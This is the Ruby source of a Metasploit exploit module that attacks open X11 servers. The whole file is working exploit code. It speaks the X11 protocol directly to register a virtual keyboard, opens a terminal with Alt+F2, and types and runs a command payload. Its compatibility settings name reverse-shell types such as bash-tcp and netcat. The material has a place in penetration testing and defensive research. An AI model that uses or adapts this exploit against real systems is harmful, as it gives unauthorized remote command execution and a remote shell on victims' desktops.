495 lines
14 KiB
Ruby
495 lines
14 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
KB_KEYS = {
|
|
'1' => "\x0a",
|
|
'2' => "\x0b",
|
|
'3' => "\x0c",
|
|
'4' => "\x0d",
|
|
'5' => "\x0e",
|
|
'6' => "\x0f",
|
|
'7' => "\x10",
|
|
'&' => "\x10",
|
|
'8' => "\x11",
|
|
'9' => "\x12",
|
|
'(' => "\x12",
|
|
'0' => "\x13",
|
|
')' => "\x13",
|
|
'-' => "\x14",
|
|
'=' => "\x15",
|
|
'q' => "\x18",
|
|
'w' => "\x19",
|
|
'e' => "\x1a",
|
|
'r' => "\x1b",
|
|
't' => "\x1c",
|
|
'y' => "\x1d",
|
|
'u' => "\x1e",
|
|
'i' => "\x1f",
|
|
'o' => "\x20",
|
|
'p' => "\x21",
|
|
'[' => "\x22",
|
|
'{' => "\x22",
|
|
']' => "\x23",
|
|
'}' => "\x23",
|
|
'a' => "\x26",
|
|
's' => "\x27",
|
|
'd' => "\x28",
|
|
'f' => "\x29",
|
|
'g' => "\x2a",
|
|
'h' => "\x2b",
|
|
'j' => "\x2c",
|
|
'k' => "\x2d",
|
|
'l' => "\x2e",
|
|
';' => "\x2f",
|
|
':' => "\x2f",
|
|
"'" => "\x30",
|
|
'"' => "\x30",
|
|
'`' => "\x31",
|
|
'~' => "\x31",
|
|
'lshift' => "\x32",
|
|
'\\' => "\x33",
|
|
'|' => "\x33",
|
|
'z' => "\x34",
|
|
'x' => "\x35",
|
|
'c' => "\x36",
|
|
'v' => "\x37",
|
|
'b' => "\x38",
|
|
'n' => "\x39",
|
|
'm' => "\x3a",
|
|
',' => "\x3b",
|
|
'<' => "\x3b",
|
|
'.' => "\x3c",
|
|
'>' => "\x3c",
|
|
'/' => "\x3d",
|
|
'*' => "\x3f",
|
|
'alt' => "\x40",
|
|
' ' => "\x41",
|
|
'f2' => "\x44"
|
|
}
|
|
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'X11 Keyboard Command Injection',
|
|
'Description' => %q{
|
|
This module exploits open X11 servers by connecting and registering a
|
|
virtual keyboard. The virtual keyboard is used to open an xterm or gnome
|
|
terminal and type and execute the specified payload.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'xistence <xistence[at]0x90.nl>'
|
|
],
|
|
'Privileged' => false,
|
|
'License' => MSF_LICENSE,
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true,
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd cmd_bash',
|
|
'RequiredCmd' => 'gawk bash-tcp python netcat'
|
|
}
|
|
},
|
|
'Platform' => ['unix'],
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' =>
|
|
[
|
|
[ 'xterm (Generic)', {}],
|
|
[ 'gnome-terminal (Ubuntu)', {}],
|
|
], 'DisclosureDate' => 'Jul 10 2015',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(6000),
|
|
OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows in seconds', 5])
|
|
], self.class)
|
|
end
|
|
|
|
|
|
def xkeyboard_key
|
|
req = ""
|
|
req << @xkeyboard_opcode
|
|
req << "\x05" # Extension minor: 5 (LatchLockState)
|
|
req << "\x04\x00" # Request length: 4
|
|
req << "\x00\x01" # DeviceSpec: 0x0100 (256)
|
|
req << "\x00" # affectModLocks: 0
|
|
req << "\x00" # modLocks: 0
|
|
req << "\x01" # lockGroup: True
|
|
req << "\x00" # groupLock: 0
|
|
req << "\x00" # affectModLatches: 0
|
|
req << "\x00" # Unused
|
|
req << "\x00" # latchGroup: False
|
|
req << "\x00\x00" # groupLatch: 0
|
|
req << "\x00" # Undecoded
|
|
return req
|
|
end
|
|
|
|
|
|
def press_key(key)
|
|
|
|
req = xkeyboard_key
|
|
|
|
req << @xtest_opcode
|
|
req << "\x02" # Extension minor: 2 (FakeInput)
|
|
req << "\x09\x00" # Request length: 9
|
|
req << "\x02" # Press key (Type: 2)
|
|
req << key # What key to press
|
|
req << "\x04\x00" # Unused?
|
|
req << "\x00\x00\x00\x00" # Time
|
|
req << "\x00\x00\x00\x00" # Root
|
|
req << "\x07\x00\x07\x00" # Unused?
|
|
req << "\x88\x04\x02\x00" # Unused?
|
|
#req << "\x00\x01" # rootX: 256
|
|
#req << "\xf5\x05" # rootY: 1525
|
|
req << "\x00\x00" # rootX: 0
|
|
req << "\x00\x00" # rootY: 0
|
|
req << "\x00\x00\x00\x00" # Unused?
|
|
req << "\x00\x00\x00" # Unused?
|
|
req << "\x00" # deviceid: 0
|
|
|
|
req << xkeyboard_key
|
|
|
|
req << "\x2b" # Opcode 43: GetInputFocus
|
|
req << "\x00" # Unused
|
|
req << "\x01\x00" # Request length: 1
|
|
|
|
sock.put(req)
|
|
|
|
res = sock.get_once
|
|
|
|
# Response should give 1 on first byte (Success)
|
|
unless res && res[0,1] == "\x01"
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key} #{res.inspect}")
|
|
end
|
|
|
|
end
|
|
|
|
def release_key(key)
|
|
|
|
req = xkeyboard_key
|
|
|
|
req << @xtest_opcode
|
|
req << "\x02" # Extension minor: 2 (FakeInput)
|
|
req << "\x09\x00" # Request length: 9
|
|
req << "\x03" # Release key (Type: 3)
|
|
req << key # What key to release
|
|
req << "\x04\x00" # Unused?
|
|
req << "\x00\x00\x00\x00" # Time
|
|
req << "\x00\x00\x00\x00" # Root
|
|
req << "\x07\x00\x07\x00" # Unused?
|
|
req << "\x88\x04\x02\x00" # Unused?
|
|
#req << "\x00\x01" # rootX: 256
|
|
#req << "\xf5\x05" # rootY: 1525
|
|
req << "\x00\x00" # rootX: 0
|
|
req << "\x00\x00" # rootY: 0
|
|
req << "\x00\x00\x00\x00" # Unused?
|
|
req << "\x00\x00\x00" # Unused?
|
|
req << "\x00" # deviceid: 0
|
|
|
|
req << xkeyboard_key
|
|
|
|
req << "\x2b" # Opcode 43: GetInputFocus
|
|
req << "\x00" # Unused
|
|
req << "\x01\x00" # Request length: 1
|
|
|
|
sock.put(req)
|
|
|
|
res = sock.get_once
|
|
|
|
# Response should give 1 on first byte (Success)
|
|
unless res && res[0,1] == "\x01"
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key} #{res.inspect}")
|
|
end
|
|
|
|
end
|
|
|
|
def type_command(command)
|
|
# Specify the special keys which need to have shift pressed first to type
|
|
specialkeys = '<>{}|"&()'.chars
|
|
values = command.chars
|
|
values.each do |value|
|
|
key = KB_KEYS[value]
|
|
# Special keys need a shift pressed to be typed
|
|
if Regexp.union(specialkeys) =~ value
|
|
press_key(KB_KEYS["lshift"]) # [lshift]
|
|
press_key(key)
|
|
release_key(KB_KEYS["lshift"])
|
|
release_key(key)
|
|
# Uppercase characters need to be converted to lowercase and be typed in combination with the shift key to generate uppercase
|
|
elsif value =~ /[A-Z]/
|
|
press_key(KB_KEYS["lshift"]) # [lshift]
|
|
press_key(KB_KEYS[value.downcase])
|
|
release_key(KB_KEYS["lshift"])
|
|
release_key(KB_KEYS[value.downcase])
|
|
# All normal keys which are not special keys or uppercase characters
|
|
else
|
|
press_key(key)
|
|
release_key(key)
|
|
end
|
|
end
|
|
# Send an enter
|
|
press_key("\x24") # [enter]
|
|
release_key("\x24") # [enter]
|
|
end
|
|
|
|
def send_msg(sock, data)
|
|
sock.put(data)
|
|
data = ""
|
|
begin
|
|
read_data = sock.get_once(-1, 1)
|
|
while not read_data.nil?
|
|
data << read_data
|
|
read_data = sock.get_once(-1, 1)
|
|
end
|
|
rescue EOFError
|
|
end
|
|
data
|
|
end
|
|
|
|
def exploit
|
|
|
|
begin
|
|
connect
|
|
|
|
print_status("#{rhost}:#{rport} - Register keyboard")
|
|
|
|
req = "\x6c" # Byte order (Little-Endian)
|
|
req << "\x00" # Unused
|
|
req << "\x0b\x00" # Protocol major version: 11
|
|
req << "\x00\x00" # Protocol minor version: 0
|
|
req << "\x00\x00" # Authorization protocol name length: 0
|
|
req << "\x00\x00" # Authorization protocol data length: 0
|
|
req << "\x00\x00" # Unused
|
|
|
|
# Retrieve the whole X11 details response
|
|
res = send_msg(sock,req)
|
|
|
|
# Response should give 0x01 in first byte (Success)
|
|
unless res && res[0,1] == "\x01"
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 initial communication failed")
|
|
end
|
|
|
|
|
|
# Keyboard registration
|
|
req = "\x62" # Opcode 98: QueryExtension
|
|
req << "\x00" # Unused
|
|
req << "\x05\x00" # Request length: 5
|
|
req << "\x09\x00" # Name length: 9
|
|
req << "\x60\x03" # Unused?
|
|
req << "XKEYBOARD" # Name
|
|
req << "\x00\x00\x00" # Unused, padding?
|
|
|
|
# Retrieve the whole X11 details response
|
|
res = send_msg(sock,req)
|
|
|
|
# Response should give 0x01 in first byte (Success)
|
|
if res && res[0,1] == "\x01"
|
|
@xkeyboard_opcode = res[9,1] # Retrieve the XKEYBOARD opcode
|
|
else
|
|
#puts res.inspect
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XKEYBOARD failed")
|
|
end
|
|
|
|
|
|
req = ""
|
|
req << @xkeyboard_opcode
|
|
req << "\x00" # Extension minor: 0 (UseExtension)
|
|
req << "\x02\x00" # Request length: 2
|
|
req << "\x01\x00" # Wanted Major: 1
|
|
req << "\x00\x00" # Wanted Minor: 0
|
|
|
|
# Retrieve the whole X11 details response
|
|
res = send_msg(sock,req)
|
|
|
|
unless res && res[0,1] == "\x01"
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD (opcode 136) failed -")
|
|
end
|
|
|
|
|
|
req = "\x62" # Opcode 98: QueryExtension
|
|
req << "\x00" # Unused
|
|
req << "\x06\x00" # Request length: 6
|
|
req << "\x0f\x00" # Name length: 15
|
|
req << "\x00\x00" # Unused
|
|
req << "XInputExtension" # Name
|
|
req << "\x00" # Unused, padding?
|
|
|
|
# Retrieve the whole X11 details response
|
|
res = send_msg(sock,req)
|
|
|
|
# Response should give 0x01 in first byte (Success)
|
|
unless res && res[0,1] == "\x01"
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XInputExtension failed")
|
|
end
|
|
|
|
|
|
req = "\x62" # Opcode 98: QueryExtension
|
|
req << "\x00" # Unused
|
|
req << "\x04\x00" # Request length: 4
|
|
req << "\x05\x00" # Name length: 5
|
|
req << "\x00\x00" # Unused
|
|
req << "XTEST" # Name
|
|
req << "\x00\x00\x00" # Unused, padding?
|
|
|
|
# Retrieve the whole X11 details response
|
|
res = send_msg(sock,req)
|
|
|
|
# Response should give 0x01 in first byte (Success)
|
|
if res && res[0,1] == "\x01"
|
|
@xtest_opcode = res[9,1] # Retrieve the XTEST opcode
|
|
else
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XTEST failed")
|
|
end
|
|
|
|
|
|
req = "\x62" # Opcode 98: QueryExtension
|
|
req << "\x00" # Unused
|
|
req << "\x08\x00" # Request length
|
|
req << "\x17\x00" # Name length
|
|
req << "\x00\x00" # Unused
|
|
req << "Generic Event Extension" # Name
|
|
req << "\x00" # Unused, padding?
|
|
|
|
# Retrieve the whole X11 details response
|
|
res = send_msg(sock,req)
|
|
|
|
# Response should give 0x01 in first byte (Success)
|
|
if res && res[0,1] == "\x01"
|
|
@genericevent_opcode = res[9,1] # Retrieve the Generic Event Extension opcode
|
|
else
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) Generic Event Extension failed")
|
|
end
|
|
|
|
|
|
req = ""
|
|
req << @genericevent_opcode
|
|
req << "\x00" # Extension minor: 0 (QueryVersion)
|
|
req << "\x02\x00" # Request length: 2
|
|
req << "\x01\x00" # Client major version: 1
|
|
req << "\x00\x00" # Client minor version: 0
|
|
|
|
# Retrieve the whole X11 details response
|
|
res = send_msg(sock,req)
|
|
|
|
# Response should give 0x01 in first byte (Success)
|
|
unless res && res[0,1] == "\x01"
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
|
|
end
|
|
|
|
|
|
req = ""
|
|
req << @xtest_opcode
|
|
req << "\x00" # Extension minor: 0 (GetVersion)
|
|
req << "\x02\x00" # Request length: 2
|
|
req << "\x02\x00" # Major version: 2
|
|
req << "\x02\x00" # Minor version: 2
|
|
|
|
# Retrieve the whole X11 details response
|
|
res = send_msg(sock,req)
|
|
|
|
# Response should give 0x01 in first byte (Success)
|
|
unless res && res[0,1] == "\x01"
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XTEST failed")
|
|
end
|
|
|
|
|
|
req = "\x65" # Opcode 101: GetKeyboardMapping
|
|
req << "\x00" # Unused
|
|
req << "\x02\x00" # Request length: 2
|
|
req << "\x08" # First keycode: 8
|
|
req << "\xf8" # Count: 248
|
|
req << "\x02\x00" # Unused?
|
|
|
|
# Retrieve the whole X11 details response
|
|
res = send_msg(sock,req)
|
|
|
|
# Response should give 0x01 in first byte (Success)
|
|
unless res && res[0,1] == "\x01"
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request GetKeyboardMapping (opcode 101) failed")
|
|
end
|
|
|
|
|
|
req = ""
|
|
req << @xkeyboard_opcode
|
|
req << "\x08" # Extension minor: 8 (GetMap)
|
|
req << "\x07\x00" # Request length: 7
|
|
req << "\x00\x01" # Device spec: 0x0100 (256)
|
|
req << "\x07\x00" # Full: 7
|
|
req << "\x00\x00" # Partial: 0
|
|
req << "\x00" # firsType: 0
|
|
req << "\x00" # nTypes: 0
|
|
req << "\x00" # firstKeySym: 0
|
|
req << "\x00" # nKeySym: 0
|
|
req << "\x00" # firstKeyAction: 0
|
|
req << "\x00" # nKeysActions: 0
|
|
req << "\x00" # firstKeyBehavior: 0
|
|
req << "\x00" # nKeysBehavior: 0
|
|
req << "\x00\x00" # virtualMods: 0
|
|
req << "\x00" # firstKeyExplicit: 0
|
|
req << "\x00" # nKeyExplicit: 0
|
|
req << "\x00" # firstModMapKey: 0
|
|
req << "\x00" # nModMapKeys: 0
|
|
req << "\x00" # firstVModMapKey: 0
|
|
req << "\x00" # nVModMapKeys: 0
|
|
req << "\x00\x00" # Unused, padding?
|
|
|
|
# Retrieve the whole X11 details response
|
|
res = send_msg(sock,req)
|
|
|
|
# Response should give 0x01 in first byte (Success)
|
|
unless res && res[0,1] == "\x01"
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
|
|
end
|
|
|
|
|
|
# Press ALT+F2 to start up "Run application"
|
|
print_status("#{rhost}:#{rport} - Opening \"Run Application\"")
|
|
press_key(KB_KEYS["alt"])
|
|
press_key(KB_KEYS["f2"])
|
|
release_key(KB_KEYS["alt"])
|
|
release_key(KB_KEYS["f2"])
|
|
|
|
# Wait X seconds to open the dialog
|
|
print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
|
|
Rex.sleep(datastore['TIME_WAIT'])
|
|
|
|
if datastore['TARGET'] == 0
|
|
# Start a xterm terminal
|
|
print_status("#{rhost}:#{rport} - Opening xterm")
|
|
type_command("xterm")
|
|
else
|
|
# Start a Gnome terminal
|
|
print_status("#{rhost}:#{rport} - Opening gnome-terminal")
|
|
type_command("gnome-terminal")
|
|
end
|
|
|
|
print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
|
|
# Wait X seconds to open the terminal
|
|
Rex.sleep(datastore['TIME_WAIT'])
|
|
|
|
# "Type" our payload and execute it
|
|
print_status("#{rhost}:#{rport} - Typing and executing payload")
|
|
command = "nohup #{payload.encoded} &2>/dev/null; sleep 1; exit"
|
|
|
|
type_command(command)
|
|
|
|
handler
|
|
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
|
|
print_error("#{rhost}:#{rport} - #{e.message}")
|
|
ensure
|
|
disconnect
|
|
end
|
|
end
|
|
end
|